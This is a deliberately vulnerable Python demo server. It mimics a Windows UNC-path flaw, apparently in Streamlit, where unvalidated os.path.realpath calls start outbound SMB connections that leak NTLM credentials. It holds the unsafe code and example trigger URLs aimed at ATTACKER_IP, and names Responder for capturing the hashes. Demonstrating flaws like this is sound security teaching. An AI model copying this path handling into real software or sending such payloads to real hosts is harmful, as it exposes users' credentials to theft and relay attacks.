Vulnerable code sample

import http.server
import socketserver
import os
import platform
from urllib.parse import urlparse, parse_qs
from pathlib import Path

# This mock server simulates the behavior of a Streamlit version prior to 1.54.0
# on a Windows host. It is not the actual Streamlit source code but demonstrates
# the core of the vulnerability.

PORT = 8000

class VulnerableComponentHandler(http.server.SimpleHTTPRequestHandler):
    """
    A request handler that mimics the vulnerable path resolution logic.
    """
    def do_GET(self):
        """
        Handles GET requests and demonstrates the SSRF vulnerability.
        """
        if platform.system() != "Windows":
            self.send_response(200)
            self.send_header("Content-type", "text/plain; charset=utf-8")
            self.end_headers()
            self.wfile.write(b"This vulnerability (CVE-2024-36882) is specific to Windows.\n")
            self.wfile.write(b"On a Windows host, this server would attempt to resolve the provided path.")
            print("[-] Server is not running on Windows. The vulnerable code path will not be triggered.")
            return

        query_components = parse_qs(urlparse(self.path).query)
        # In a real scenario, this path could come from a component's resource request.
        user_supplied_path = query_components.get("path", [None])[0]

        if not user_supplied_path:
            self.send_response(200)
            self.send_header("Content-type", "text/plain; charset=utf-8")
            self.end_headers()
            self.wfile.write(b"Vulnerable server running.\n")
            self.wfile.write(b"Use the 'path' query parameter to provide a filesystem path.\n")
            self.wfile.write(b"Example to trigger SSRF: /?path=\\\\attacker-ip\\share\n")
            return

        print(f"[+] Received request for path: {user_supplied_path}")

        try:
            # --- VULNERABLE LOGIC ---
            # The application resolves a user-provided path without sufficient validation.
            # On Windows, os.path.realpath() and Path.resolve() will attempt to connect
            # to a remote host if a UNC path is provided. This triggers an outbound SMB
            # connection, which can lead to NTLM credential leakage and NTLM relay attacks.

            print(f"[*] Executing vulnerable code: os.path.realpath('{user_supplied_path}')")
            # The line below is the source of the vulnerability.
            resolved_path = os.path.realpath(user_supplied_path)
            
            # The 'pathlib' equivalent is also vulnerable.
            # resolved_path = str(Path(user_supplied_path).resolve())

            print(f"[!] SMB connection may have been initiated to resolve the UNC path.")
            print(f"[+] Path resolved to: {resolved_path}")
            # --- END OF VULNERABLE LOGIC ---

            self.send_response(200)
            self.send_header("Content-type", "text/plain; charset=utf-8")
            self.end_headers()
            self.wfile.write(f"Successfully processed path: {user_supplied_path}\n".encode('utf-8'))
            self.wfile.write(f"Resolved path: {resolved_path}\n".encode('utf-8'))

        except Exception as e:
            print(f"[!] An error occurred during path resolution: {e}")
            self.send_response(500)
            self.send_header("Content-type", "text/plain; charset=utf-8")
            self.end_headers()
            self.wfile.write(f"Error processing path: {e}\n".encode('utf-8'))


if __name__ == "__main__":
    with socketserver.TCPServer(("", PORT), VulnerableComponentHandler) as httpd:
        print(f"[*] Starting vulnerable server simulation on port {PORT}")
        print("[!] This server is for demonstration purposes only.")
        print("[*] To trigger the vulnerability on a Windows machine, access:")
        print(f"    http://127.0.0.1:{PORT}/?path=\\\\ATTACKER_IP\\share")
        print("[*] An attacker listening with a tool like 'Responder' on ATTACKER_IP")
        print("    would capture the NTLMv2 challenge-response from the machine running this script.")
        
        try:
            httpd.serve_forever()
        except KeyboardInterrupt:
            print("\n[*] Server shutting down.")
            httpd.shutdown()